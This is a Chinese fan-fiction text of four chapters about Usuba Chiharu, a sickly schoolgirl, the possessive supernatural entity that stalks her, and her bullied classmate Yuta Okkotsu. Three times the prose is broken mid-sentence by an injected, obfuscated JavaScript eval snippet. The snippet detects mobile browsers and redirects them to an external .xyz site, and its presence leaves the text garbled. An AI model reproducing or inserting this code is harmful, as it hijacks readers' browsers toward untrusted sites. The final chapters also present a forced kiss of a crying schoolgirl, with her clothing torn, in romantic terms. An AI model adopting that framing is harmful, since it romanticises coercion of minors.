《乙骨同学很好欺负》 1. 01 「1.」 「乙骨同学很好欺负。」 ——这是薄叶千春对乙骨忧太的第一印象。 「2.」 第一次见到乙骨忧太,是薄叶千春病愈,去上学时。 她站在教室的前方进行自我介绍,视线掠过教室,注意到后方有一位忽然僵住的同学。 那是一位低着头的同学,他坐在教室之中,却仿佛游离于人群外的幽灵,身形消瘦,头发有点乱七八糟地支棱着,不算太长,垂下来的时候刚好挡住一部分眼睛。 在其他人都抬头看新同学时,唯有他用力地低着头,僵硬得像是枯死的树干,似乎还在不停地低声自言自语着什么。 看起来很阴郁,像是动漫中会出现的那种‘被欺负的学生’,似乎也真的很好欺负。 原来现实中真的会有这种人? 自我介绍的时候太短,薄叶千春没有看太久,很快收回视线。 在走回到座位后,她的同桌问她:“你刚刚在看那个丧丧的家伙吗?不要看喔,他很奇怪的,大家都讨厌他。” “………我讨厌他,我们可是最好的朋友,千春也会讨厌他的,对吧?” 可能是因为这话不太符合一些正向的价值观,也可能是因为说话者的语气,薄叶千春听出了些古怪来。 但说话者不只是她的同桌,更是她最好的、唯一的朋友,而被说者是个有点奇怪的阴郁陌生人。 于是,在思忖几秒后,她没说什么,刚要含含糊糊地点头应下,眉头却忽然蹙起。 有视线。 有一道从后方传来的、阴冷的、仿佛化为实质的视线定格在她的后背上。 霎那间,她的面色苍白如雪,下意识收回不知何时被同桌轻握住的手,并起腿。 「3.」 薄叶千春对视线很敏锐。 原因一:样貌好看的人总是会受到很多注视,被看得多了,自然有直觉。 原因二:她从小就身体不好,一直断断续续地生病,几乎是在医院长大的。有很长一段时间,她甚至是住在监护病房里的,连和家人见面,都是家人在玻璃墙后单方面地看她,她自然很熟悉被注视感。 原因三:医院里有…… 非人的存在。 或许是怨灵,或许是鬼魂,又或许是怪谈。 总而言之,那是一位盯上薄叶千春的非人存在,它几个月出现一次,于深夜降临,用阴冷的身躯抱住她,常常在她身上留下痕迹。 有时是像被刀锋划开的流血划痕,有时是未流血的红痕。 这位非人的存在似乎对薄叶千春并不怀有恶意,拜访的目的只是看一看她、碰一碰她,哪怕她再三更换病房和医院,它也并不生气,只是好像认为她是因为受伤而不高兴、才会屡屡躲避,每次她换地方住,下一次降临时,它都会更注意凝视、拥抱她的力度。 之所以说是‘似乎’,是因为它有生气的时候。 那是薄叶千春认识同桌不久,她第一次拥有朋友,还是一位很喜欢她、几乎对她百依百顺的朋友,又好奇又兴奋,还有点说不清缘由的恐慌。 恐慌令她想要和同桌一刻不分离,而同桌又性格温柔,纵容了她。 于是,那位非人的存在再次来看望她,进到宛如一个温馨小家的病房时,看到的就是她们缩在一个病床上,脸颊贴着脸颊,开开心心地抱在一起睡。 …… 当天晚上,同桌就进了急诊,明面上的理由是:半夜上天台时意外摔倒,从楼梯上摔了下来。 薄叶千春的身上则出现几道宛如玻璃碎片、刀尖造成的划伤,最重的一道伤在右手手腕的那颗红痣下方,让她又病了大半年。 很恐怖。 那位非人存在,真的很恐怖。 哪怕过去几年,薄叶千春也忘不了那声将她惊醒的尖利嚎叫,忘不了那个站在病床前的狰狞扭曲身影,忘不了它愤怒地伸出手掌,把她的同桌拖下床,仿佛要下杀手的画面。 不,不是‘仿佛’。 如果不是有人阻止,它真的会杀人的。 薄叶千春很清楚。 她吃软又吃硬,在反应过来非人存在很讨厌她有朋友时,本来是打算和同桌绝交的,这能避免同桌再次受到伤害。 但坐在同桌的病床前,她还未来得及说出道歉、给出补偿、交代‘有一个怪物盯上我了它好像不想让我交朋友,我们还是不要再见面了’,同桌就将她抱入怀中,用毫无怨言的、兴奋的、充满怜惜的语气,反过来安抚她。 她说:“被恐怖的怪物盯上了吗,千春?好可怜,它经常在晚上过来吗?真的好可怜呀。” 她说:“我不会抛下你,我们会一起长大、一起想办法摆脱它的,好不好?” 她说:“如果无法摆脱……我会保护你的,千春,我会用生命保护你的。” 她说:“终于笑起来了,千春含着泪的笑颜真可爱,像是漂亮的猫咪,我很喜欢。” 然后,她们开始了长达四年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647633|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的相互依靠。 在非人存在的视线之外。 「4.」 在非人存在的视线之内,薄叶千春会和同桌保持距离。 她唯一会放开同桌手的时候,就是非人存在可能出现、真的出现的时候。 所以,什么都不需要说,什么都不需要再暗示,她只要简简单单地收回手,同桌便清楚:那位非人的存在又出现了。 但…… 现在是白天。 非人的存在向来只在晚上出现。 它怎么会在白天出现?怎么追到学校了?有没有看到她刚刚和朋友牵手了?会生气吗? 困惑和不安如水中浮萍,接连在薄叶千春的心间浮现,她绷唇垂眼,不看周围任何人,只定定地看着桌子上的课本,向非人存在展示自己乖巧又温顺的态度。 在过分紧张之下,她整个人像是绷紧的弓,而自后方传来的阴冷视线则像人类的手掌,一寸寸地巡游着,从她露出的后颈、到她挺直的背脊、又没入被课桌挡住的后腰。 那种阴冷的、具有不祥意义的视线要比以往更扭曲些,酝酿着怒气,对方好像在透过衣物,审视薄叶千春身上是否有她人留下的痕迹,是否背叛自己,又好像在等待着什么。 ……等待什么? 薄叶千春不知道。 任课老师在教室的前方讲着课,教室的后方则有人在不耐烦地交头接耳着,“那家伙在小声说什么啊?像念咒一样,真是烦死了。” “喂,你不是不把老师放在眼里啊,乙骨同学?” 细碎的声音汇入薄叶千春的耳中,只留下一个模糊的‘好像有人在说话’印象,不过很快,她奇异地发觉那道阴冷的视线竟移开了。 是离开了吗? 她立刻暗自松气,紧绷的心神也松懈了几分,下意识向同桌靠去。 同桌伸手揽住她,另一只手则安抚性地牵起她的手,落来的目光如温柔的水,充满怜惜:“它走了吗?” “好快。” “它应该没来得及对你做什么吧?” 没有。 薄叶千春缓了几息才找回一部分力气,她在同桌怀里撑起身体,向后看去,只看到正常的教室后景,几个正在嘀嘀咕咕的男学生,似乎正在被他们嘲笑、紧紧低着头在自言自语着什么的阴郁同学。 没有任何异常生物。 她再次松了一口气,重新半趴进同桌的怀里,开心地说:“它已经走了!” ……吧? 2. 02 「5.」 ‘非人存在’走了。 但没完全走。 时不时的,就有带着冷意的视线从后方高处投来,仿佛一次次地提醒薄叶千春:我在看着你,我一直在看着你,不可以亲近其他人哦。 她冷汗淋漓。 一直到下午,阴冷感才彻底消失不见。 大概是中午阳光太盛吧…… 薄叶千春如此推测着,这才切切实实地松了一口气,转头便趴进同桌怀里,闷声道:“它应该彻底走了。” “它怎么这样啊,”同桌拍着她的背,手掌从她的后颈抚至尾脊,像是在顺毛摸猫,语气也像哄猫,“时不时来看一下,和以前不一样,好讨厌。” “以前它不会在白天出现,也不会频繁短暂出现。” 以前,非人存在都是在深夜出现,一出现就凝视着薄叶千春,一直到天将亮,才会离去,是持续性的窥视。 “规律又变了。” 同桌的手摸向薄叶千春的右手,轻声猜测:“可能是我们上次求的御守有用?” “虽然没有防住,但刺激到它了?” 在漫长的、东躲西藏避开非人存在的交朋友生涯,她们也很努力地查找阴灵方面的资料,从各种领域寻找应对方法,有时是模仿动漫,有时是根据枯燥又看不懂的神学书籍制作符纸,有时是求取御守。 今天,薄叶千春的手腕上就系着御守,是一枚卡通的白色狐狸头,小小一只,由红色的绳子串起。 红绳的两端是有绳结纽扣的,不能随意剪裁,比手腕大了几圈,松松散散垂在白色手臂上时,刚好可以遮挡住横着切过手腕的浅淡伤痕。 同桌的手指摸过去,尾指抵进红绳里,把绳子往下勾了勾,拇指则在浅淡伤痕的位置晃了晃,向上去摩挲红痣,带来有点古怪的痒感,薄叶千春动了动,想要缓慢收回手,却反被叩住。 她听到同桌问:“或许我们下次去求取御守,可以和神社的人说我们被纠缠上了?” 同桌的指尖划在薄叶千春的白皙腕部上,像是将手掌压向雪地,轻而易举地留下了点痕迹,是或许十几秒就会消失的淡淡白痕。 痒。 很痒。 虽然不痛,但是有点奇怪。 “可以试试。”薄叶千春心不在焉地说,又试了试抽回手腕,没成功,“其实……” “其实它只缠上了我,你、” 之前还好,非人存在是有规律的,只要注意一下时间,她们就可以假装不熟。 但现在出现异变,万一某天它又忽然降临,发现她们仍是朋友,再次勃然大怒…… 只是,薄叶千春刚犹豫着说出半句话,同桌就摸了摸她的下巴,把她的脸捧起来,用食指压住她的唇,“嘘。” “我不会当叛徒的,千春,不要说了。” 可能是因为和非人存在的第一次见面不是很愉快,除了‘非人存在对千春做了什么’和‘如何解决非人存在’,同桌向来对非人存在的相关话题没什么兴致,说话时颇为平淡。 不过很快,她和被捧起脸的薄叶千春对视几秒,笑眯眯地低头凑近,语调轻快了些,转移话题:“话说,千春现在的身体已经好些了,要不要试试化妆?我现在就可以帮你涂唇釉喔。” 她说:“千春的唇形很好看,感觉很适合接吻呢,涂上唇釉应该会不错吧?” 片刻之前还面临生死危机,现在却兴致勃勃地聊些化妆之类的问题,很不协调,薄叶千春也是花费了一定的时间才适应: 每次非人存在刚离开时,可能是出于怜惜,同桌总是会目不转睛地观察她,观察每一丝细节。 假如她在阴冷视线注视自己时偷偷咬唇,那同桌就会用手指一下下地摸她的唇,以示安抚。 假如她不自觉地握紧手、在手心掐出半月牙形状的指甲印,同桌就会捋开她的掌心,安抚性地吻一会儿。 假如她僵直身体太久,腿有些抽筋,同桌就会慢慢帮她揉腿,揉太久就会被可爱到,有概率会亲一下她的膝盖。 如果非人存在留下一些拥抱的伤痕,同桌更是会着重关注。 总而言之,在非人存在离开后,她会格外黏人一段时间。 薄叶千春已经习惯了,非常淡定地任由摆布,乖乖仰脸,轻轻张开嘴,让同桌帮自己涂唇釉。 距离太近,她能从同桌的眼瞳里看到自己:面色还有些苍白,神情却已缓和,因为受惊,眼睑下至还有些红红的,绿色的眼睛在水色下显得明亮,唇染上一层浅红,亮晶晶的,加上渐渐浮出的桃色腮红,像是刚刚接过吻。 大概是没涂均匀,同桌干脆用指腹帮她调整,顺着唇峰勾勒几下后,唇珠便显了出来…… 有点怪怪的。 薄叶千春不是很自在地将注意力调整向余光,而后一怔: 余光中,视野的斜侧方,一道人影半抬头,视线越过大半个教室,静静地看着她们,不知道看了多久。 是那位始终低着头的阴郁同学,在余光下,他的面庞比较模糊,乍一看过去只有死板的惨白、水墨的黑,又因半弓着身体,莫名有攻击性之余,还有点很好欺负的感觉。 薄叶千春有些惊奇: 他怎么抬头了? 什么时候抬的头? 为什么一直看她们? 他的注视像是一捧水,一颗草,隐秘、安静、不动声色,对视线一向敏锐的她居然毫无感觉,没察觉到视线。 哪怕现在发觉了,她也觉得这个人的视线存在感很低,他附近的小混混、教室四周若有若无投来视线的男女同学们都要比他更有存在感点。 存在感低得这么离谱,如果他会在薄叶千春看不到的地方悄悄窥视她,她大概一无所觉。 薄叶千春还没遇到过这种人。 她有些惊奇地侧了侧脸,下意识瞥过去一眼,瞳孔刚聚焦,视线还未来得及落在那张面孔上、看清样貌,他就忽而低头,似乎又发起抖来,相当弱气。 “怎么了,千春?”同桌掰回她的脸,“不要转头啦,唇釉都涂出去了……现在可是我的时间欸,你应该最注意我,怎么可以把关注分给其他人?” “你刚刚在看……” 转头分辨了下,同桌的视线最终落在阴郁同学身上,语气淡了下来,“乙骨忧太?” “你喜欢他?” 乙骨忧太? 他叫这个名字吗? 不知道为什么,薄叶千春有些不喜欢,她兴致缺缺地收回视线,“没有啦。我只是有点好奇,他是被欺负了吗?” “刚刚上课时,后面的人好像一直在骂他。” “我第一次见被欺负的人呢。” 同桌语气随意:“啊,大概是他又自言自语了吧,他人真的很奇怪的,经常对着空气自言自语,大家都说他这是在诅咒不愿意和他玩的人呢。” “听说他以前还害死过人,警方考虑到他年纪小才没把他关进监狱,真是的。反正千春要小心,不要因为好奇靠近他。” 她强调:“不可以和他玩。” 莫名的,薄叶千春又向后方看了一眼,发现乙骨忧太仍低着头,肩膀内扣,像是要缩进桌子底下,坐姿奇怪又僵硬,但白色的耳朵从水墨般的短发间露出来,有种竖起耳朵听的错觉感。 好莫名其妙的错觉。 薄叶千春有些不安。 她迟疑片刻,看向期待回答的同桌,最终还是敛眉抿唇,说出代表不背叛朋友的话:“除了你,我不会和其他人交朋友的。” “你那么讨厌他,我当然也讨厌他啦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647634|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 「6.」 讨厌,当然是讨厌的。 但当别人做得太过分时…… 后方的杂音一直在响,薄叶千春蹙着眉头侧首看去,发现是那几个好像一开始就不爽乙骨忧太的人在嘀嘀咕咕说话。 他们一唱一和地说着‘听说你以前杀过人’的话题。 虽口头上如此说,但他们轻蔑的神情,明明白白地在说:对,我们知道你没杀过人,我们就是在污蔑你,想挑个刺欺凌你。 作为被欺凌的一方,乙骨忧太始终低着头,哪怕被人用力推搡、直接摔下椅子,他也只是调整坐姿,狼狈地低头坐在地面上,弱气得像是面团。 这种性格,大概就算别人帮他反抗,他也会在下一次欺凌中继续瑟瑟发抖,薄叶千春注意到附近有不少人都在皱眉,却没有一个人管的,仿佛没察觉般集体无视后方的动静,连视线都没有投过去。 一个制服有些皱巴的男同学踢了踢乙骨忧太的小腿,有些不耐烦,“喂,说话啊,哑巴了你?” 他从口袋里抽出一根烟,刚要点燃,就像是想起什么一样向前方看来,刚好和薄叶千春对视,面上不耐又凶狠的表情立刻一顿,化为讪笑,“哈哈,我忘了,我忘了。” “咳,”他和其他人对视几眼,收起香烟,用一种显然带有讨好的语气问,“千春姐、啊不,薄叶姐,你也对这小子感兴趣吗?要不要来欺、咳咳咳,薄叶姐怎么能亲自动手欺负呢!交给我们吧,我们一定会让您满意的?” 语气很奇怪。 薄叶千春侧了侧首,这才发现同桌在面无表情地瞪那位男同学。 在瞪视下,男同学越发局促,刚刚那种仿佛老虎捕猎般自然而然的盛气凌人已经彻底消失不见,他颇为尴尬地和其他人对视,没获得其他人的解围,只能用过分高昂的语调假装兴致勃勃,“这小子被欺负了什么都不敢说的,连老师问他、他也不会说什么。” “我们上次还在雨天把他关在停车场呢,只是说了点‘如果看到你躲在雨棚里,下次就不会那么简单了’,他就乖乖淋成落汤鸡了,怂得要死,哈哈。” 他从桌斗里翻出一瓶饮料,要做示范,“就像现在这、” “那个,”薄叶千春打断,“等等。” 在同学看过来的视线中,她想了想,没说什么‘不许欺负同学’这种比较符合正向价值的话,只是盯上男同学手中那瓶饮料,“那是话梅味的饮料吗?学校里有便利店?” 男同学立刻回答:“当然有!薄叶姐你想喝什么,我去给你买!” 他的眼神在小心地瞥向坐在薄叶千春一侧的同桌,明显带有畏惧。 薄叶千春歪头想了想,“不用你买,就让他买吧。” “长得不好看又畏畏缩缩的,我看到他就很烦欸,”她半真半假地说着,“让他去帮我买饮料吧。” “离上课还有……五分钟?” “够一个来回吗?” 明明话题转移到了自己身上,乙骨忧太却还是低着头,像地上有什么深奥的数学题,如果不是肩膀在随着薄叶千春的话而轻颤,她几乎要以为这位同学是听力故障的特殊同学。 男同学帮乙骨忧太回答:“当然够!” “喂,你,”他踢过去一脚,“没听到吗?去帮大姐头和薄叶姐买饮料!” 乙骨忧太慢吞吞地爬起来。 他身材挺高挑的,哪怕低着头、萎靡不振地半弓着身,也能让人看出来站直时一定很高。 “桃子的吧,”薄叶千春从钱包里抽出一张纸钞,伸手时,红绳和狐狸御守在腕间晃,“哪款饮料都可以。” 想了想,她转头对同桌笑了下,眼睛弯弯,又转头回去,对乙骨忧太补充: “讨人厌的同学,麻烦你了。” 3. 03 「7.」 薄叶千春只有一个朋友:同桌。 上学,她要和同桌在一起,座位,她要选和同桌相邻的座位,还要把桌椅搬一搬、让彼此中间的空隙减小,社团,她自然也要和同桌在同一个社团。 同桌的社团是羽毛球社团。 羽毛球是一个运动项目,很不巧,自小身体不好的薄叶千春相当不擅长运动。 一开始,她只能坐在场边看。 羽毛球飞向右场,她就看向右场,羽毛球飞向左场,她就看向左场。 如此打了几个回合,同桌突然下场,笑眯眯地捧起她的脸:“好可爱呀,千春酱。” “你是小猫吗?被逗猫棒吸引得左右摇头的小猫?” “卡——哇——!” 薄叶千春:“……” “喵喵酱你是不是故意缠着我不让我打球呀,”同桌开始上手捏脸,“好过分喔,满足你!” 薄叶千春:“……” 唉,同桌又犯病了。 她早已习惯,没有反抗,只鼓了鼓脸,在同桌问‘要不要现在学打羽毛球’时否认,“不要,我还没有做好心理准备,明天吧,明天我一定说服自己!” “是吗?”同桌表示怀疑,“有只小猫连学钢琴都自我说服了半个月,才怏怏不乐地答应,让阿姨担心好久呢。” ‘阿姨’是指薄叶千春的母亲。 因自小体弱多病,有早夭之相,在努力治疗了几年也没明显好转后,薄叶千春的父母便疏远了她,以免在她去世后会伤心。 他们虽然会提供源源不断的治疗资金、请各大名医、雇佣专业的保姆、但不会像正常父母一样和她每日相处。 在薄叶千春和同桌成为朋友后,她父母想要和她商量某些比较重要、但不是太重要的事时,就会先通知同桌,由同桌转述给她。 比如要学钢琴、画画这种相对不是太耗费身体的技能时。 “我当时身体不好嘛,”薄叶千春主动把脸放在同桌掌心,鼓着面颊眨眼,“学钢琴很累的,一弹就要几个小时起步,就算休息也只能短暂休息十几分钟。” “明天,明天我再说服自己打羽毛球啦” 同桌:“好吧。” “羽毛球不难打的,反正是我教千春嘛,可以从‘如何握住球拍’开始喔。” 她低下头,和薄叶千春碰了碰鼻尖,问:“怎么把外套脱下来了?” 而后伸手,帮薄叶千春把半垂在手肘的外套重新拉起来系上,又半蹲下去,帮忙整理腿袜, “连袜子都捋到脚踝了,很热吗?” 进行体育社团的活动时,需要更换运动制服,但薄叶千春不打算运动,就没有换,还是一身学生制服。 因为身体不是很好,布料其实不算太单薄,是那种如果真的跑跑跳跳、大概几分钟就会让人感到闷热的不透气料子,腿袜更是带着一层绒,小心地护住膝盖一寸以下的小腿。 因为现在还未到夏天炎热的季节,体育馆内又有空调,她就没有把制服外套留在更衣室,而是一直穿着。 谁料体育馆内太热了。 焦热几乎从地板上散发出来,只是静静坐了一会儿,薄叶千春就忍不住把外套解开,又过了一会儿,偷偷腿袜往下推了些。 同桌耐心地把指尖探进腿袜边缘,左右调整好绷紧的角度,确认布料上没有一丝褶皱,又像试探舒不舒适般地圈了圈脚踝的弧度,这才松开手,“热也不可以,万一感冒呢?” “好啦,我去简单洗漱一下,我们就可以走了。”她站起来,拍了拍手,到后方物品架上的书包翻找了会儿,皱起眉,“欸,我好像把沐浴露忘教室了……” 运动过后,不是必须要洗澡。 但薄叶千春不喜欢汗味,还有洁癖,如非必要,同桌会尽量让自己处于洁净状态。 她皱着眉犹豫会儿,看看体育馆里的其他人,又看看转头看来的薄叶千春,“千春,你、” 体育馆和教室几乎一个在校园南侧,一个在校园北侧。 “要回教室吗?”薄叶千春简单估算距离,立刻熟练地垂下脸,只悄悄抬眼看人,摆出一副可怜兮兮的表情,“好远。” 她撒娇:“我不想动欸。” “你去更衣室等我吧。”同桌叹气,把话说完,又弓起手,用没碰到过袜子的手背碰了碰薄叶千春的面颊,强调,“不可以和其他人说话哦?” “你今天帮那个奇怪的家伙,我很伤心……明明千春一直对其他人不感兴趣,哪怕被人主动示好也不会理的。” 有吗? 薄叶千春眨了眨眼睛,有些困惑:同桌好像从一开始就有点不满乙骨忧太,认为她对他很好奇、会和他成为朋友。 为什么? 和同桌的观点不同,薄叶千春不觉得她对乙骨忧太好奇,也不觉得她会和他成为朋友。 非要说的话,她其实感觉自己有些排斥乙骨忧太。 如果不是那几位男同学的行为很不符合正常的价值观,让人觉得‘正常人看到,都会阻止的吧?’,她大概直到到毕业,都不会和乙骨忧太说一句话。 而且乙骨忧太应该也不是很喜欢她,不会和她做朋友。 谁会喜欢欺负自己的人、和欺负自己的人做朋友呢? 直接上手打、上脚踹,是欺负,指名点姓地辱骂,是欺负,阴阳怪气哈哈嘲笑,是欺负,强迫他人帮自己买饮料,当然也是欺负。 同桌想法那么奇怪,可能只是安全感不太足吧…… 薄叶千春想了想,第三次回答:“好欸,我不会和其他人说话的。” “那我先去更衣室啦,拜拜。” 溜了溜了,不想再回答第四遍。 「8.」 更衣室在体育馆对面的那栋教学楼,在一二楼,里面还有舞蹈室、钢琴室之类的地方,不过都在三楼及以上。 可能是因为放学部的人早已回家,其他社团的人还没到活动结束时间,薄叶千春走上二楼时,后知后觉地发现整栋教学楼好像一片安静,静到了一种不对劲的地步,好像没有一个活人。 走廊上的也比平时暗了两个度,黯淡的灯光显得有些不祥。不知是不是有房间开了空调却没有关紧门,二楼似乎弥漫着一丝丝的凉意。 惯性地往前走了两步,连第一个房间都没走过去,薄叶千春便停了下来。 她若无其事地抱住自己的手臂,低声自言自语:“好像温度有点低,待久了大概会感冒吧,我还是回一楼、” 不知是说给自己听、还是说给其他东西听的合理撤退理由只说到一半,‘啪嗒’一声,一楼的灯忽而关了。 从二楼看下去,一楼和二楼之间的楼梯通道像是罐头,填满了昏暗,那是一种不均匀的、仿佛藏匿着什么怪物的黑。 薄叶千春隐隐感觉到几丝‘非人存在’出现时的凉意,立刻收回调转的脚步,转回转了一半的身体,在二楼走廊上站了一会儿,流畅地把刚刚中断的话接上,“……我还是继续去更衣室吧。” 她的眼睫垂了下去,在眼睑下方落出长长的浅色剪影。 和之前在教室里坐着,明明是仰起脸看比自己高的人,却仿佛处于上位,说出‘帮我买饮料’要求时非常坦然、理直气壮,视线探究而毫无避讳不同,现在,她的视线定在地面上,只肯看自己面前的一小块地面,生怕多看一点会看到什么不该看的恐怖东西。 那张姣好面庞上,浅红色的唇抿着,柳眉蹙起,还没有刻意做出一种撒娇的可怜兮兮感,就已经无端有几分可怜。 薄叶千春可怜地往后退了两步,见一楼的灯没有亮起的意思,只能往前走。 一片安静的走廊上,只有她鞋跟和地面碰撞的清脆声:“嗒。” “嗒。” “嗒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15647635|172777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一步、两步、三步…… 一直走到她的单独更衣室门口,也没有再出现明显不对劲的异常情况。 薄叶千春没有松气,她在门口站了片刻,才伸手握住门把,试探性地推开一点缝。 更衣室没有开灯。 随着门的开启,走廊上的灯光洒进去,隐隐照亮一部分地板、门侧的蓝色储物柜、鞋架、以及…… 一只苍白得几乎没有血色的手。 那只手从黑暗中探来,握住薄叶千春的手腕,一把将她拽进更衣室。 「9.」 “唔?” “嘭!” 被捂住嘴的呜咽声和门甩上的巨大声响重叠在一起,薄叶千春被压在门上,从光明处陡然进入黑暗处的眼前一黑感还未消散,捂住她下半张脸的那只手便上移,一并遮住了她的眼睛。 那只手虽偏大,却没有到非人的地步,反手遮在她的脸上时,尾指压在她的眼皮上,虎口则压着她的唇间,可能是被她呼吸的气流烫到,拇指颤了颤,才压住她的下巴。 认真而言,这只手很像人类,像少年的手。 但薄叶千春无暇顾及,在被压在门上的那一瞬间,她便已经浑身僵硬,大脑一片空白起来。 因为有熟悉的、阴冷的视线从上方垂下,将她惊慌失措的样子尽收眼底。 疑似是爪子的东西擦过她的肩膀,向下划去,指骨轻松压下她的下意识反抗,爪尖仍往下划去,不紧不慢地撕开她的外套、化开她的裙角,找到她的腿袜。 这是…… 这是继发现薄叶千春有朋友、勃然大怒之后,‘非人存在’第一次对她动手。 尖锐的、冰凉的爪尖点在她的皮肤上,激起一片细细的颗粒,又顺着腿的弧度向下划,轻而易举地探进腿袜内,像是下一秒就会猛然用力、刺穿她的小腿。 薄叶千春几乎要脱口而出道歉和求饶。 可她无法说话,只能发出一点呜咽声,“呜……对、对不……” 盖在她面颊上的那只手在动,掌根在用力,上下移动着擦拭她唇上的唇釉痕迹,把原本浅浅一层的湿润颜色擦得到处都是。 它一下一下地擦着,越擦越用力,像是要搞破坏般,把薄叶千春的话都压回去,只留下一点溢出来的声音。 下方的爪尖终于离开了皮肤。 它勾起腿袜,把腿袜撑起,冷冷地静止了那么几秒。 那一瞬,如福临心至般,薄叶千春反应过来唇釉、外套和腿袜共同点,也反应过来‘非人存在’为何会如此生气:同桌。 唇釉,是同桌为她涂上的。 外套,同桌曾帮她穿上。 腿袜,同桌曾帮她调整。 意识到的下一刻,薄叶千春攒了攒勇气,探出舌尖、舔了下那只手的掌根,在那只手如愿定格住时,趁机急切地开口:“我没有朋友!” “撕啦”一声,她腿侧的爪尖一下子撕破了她的腿袜。 大、大概是刚刚她的动作太…… 薄叶千春的面庞和耳根涨起些温度,眼睫在快速地上下眨动、挠着压在眼睛上的那几根手指,“你看到的那个人不是我的朋友,是、” “是我家人为我请来照顾我的。” “我的身体不是很好,”她绞尽脑汁,用再轻缓不过的语气,慢慢说着,试图拖延时间给自己争取更多的思考空间,呼吸却像紊乱的蒲公英,和唇瓣一起,一下又一下地触碰着对方的手指,“需要人照顾,所以……” 那只手僵着。 在磕磕巴巴的解释中,在一下又一下的触碰中,它向上移了些。 那只手的手指并非并在一起的,薄叶千春眼前是黑暗是不均匀的,因此,当再次覆盖上一层黑,仿佛有什么人低下头时,她第一时间反应过来,完整地感受到有什么带着凉意的、柔软的东西,落在自己张张合合的唇上。 很轻。 4. 04 「10.」 薄叶千春:“……” 唇上的触感如蜻蜓点水,一触即离,在她怔住,还未来得及思考‘这、这是吻吗?’和‘好像人类的嘴唇’,眼前便再次有阴影落下。 熟悉的柔软触感再次降临。 一段时间不见,‘非人存在’似乎在保留非人利爪和狰狞身躯的情况下、又进化出了一具人类的身体,这具身体几乎和人类一模一样,有着人类的手掌,嘴唇,和…… 舌头。 对方大概不是很熟练,像试探性讨好人类的温顺犬类,轻轻舔舐着薄叶千春的唇角,又像是在覆盖什么、或涂唇釉般,顺着唇角向唇瓣舔去,慢慢地舔了三四遍,把唇珠舔得舒展开来,将僵住的唇线描绘成一道湿润的痕迹。 湿润渐渐向内探去。 薄叶千春悚然,越发抿紧唇,抗拒地向一旁侧脸,“等、” 对方停滞住。 但只停滞了不到半息。 下一刻,这个躲闪的动作仿佛是什么激怒开关,对方不再温吞,用人类手掌将薄叶千春的脸掰回来,急切且强硬地吻下来。 这是一个切切实实的吻。 薄叶千春被迫仰头,尝到了蜜桃味。 清甜而无害的蜜桃味在此刻变得危险起来,味道在蔓延,在口腔被占满的情况下只能向内延伸,轻而易举地深入喉咙,让她只能在推拒入侵者时发出零碎的声音,“你……” 顺着她推拒和说话的动作,对方卷住她,让她的话中止住。 在深吻间,薄叶千春的温度不断上升。 ‘非人存在’似乎是被影响到了,那具带着冷意的人类身躯开始有温度、并迅速攀升,很快变得比薄叶千春的体温更热,清甜的蜜桃味也仿佛被加热,像是一杯刚做好的超糖热可可,甜腻得令人想吐,越又吐不出来,只能被迫吞咽。 像在模仿人类般,薄叶千春能感觉到对方重到不正常的呼吸,呼吸气流拂过她滚烫的面颊,让她越来越艰难的呼吸也染上蜜桃味。 不知不觉间,按在她肩膀手臂上的冰冷之物松开,与此同时,阴冷的注视感从侧上方垂下,越来越近,冰凉的触感在她的脖颈和面颊上蔓延,激得皮肤出现点点颗粒,像是‘非人存在’十分好奇她的反应,在亲吻她的同时,用本体触碰她。 只是,大概是薄叶千春的抗拒再次激怒了它,有爪子状的东西探来,怒气冲冲地按在她的肩膀上,爪尖虚虚地垂在她的身前,把一颗扣子划掉,爪骨则推开那具少年人类身躯。 对方暂时离开了几息。 恍惚中,似乎有低低的、沙哑的少年音响起,也有宛如错觉的非人尖锐之声在奏鸣。 但还未等薄叶千春大口喘气、从大脑一片空白的状态中完全缓过来,爪子便再次动起来,有一根爪骨从下而上地轻轻磨蹭她的下巴,像摸小猫般地把她蹭得仰头,迎来第三次接吻。 薄叶千春快哭了。 不,不是快,是真的哭了。 她之前惊吓过度,只是在最难受的时候流了几滴泪而已,现在缓过来了些,察觉到又要再来一次,泪水立刻积蓄起来,一颗又一颗地滚出,又在面颊上被对方用嘴巴接住,一一吞吃。 吃着吃着,对方一路向上,慢吞吞地舔着薄叶千春的眼睑,把她的泪意尽数吞吃。 在短暂的安抚,又或是在吃人之前的尝试品尝后,对方又接着吻她。 第三次的吻重新温柔起来。 对方已经把薄叶千春唇上的唇釉吃得干干净净,却覆盖标记一样,又吃了两三遍,而后在她的抗拒中轻轻触碰她的上颚。 ……有古怪的、发麻的奇怪感觉。 薄叶千春几乎下意识地抬手摁在对方的肩膀上,在推拒几下无果后,又转为抓攥,给自己一点支撑力。 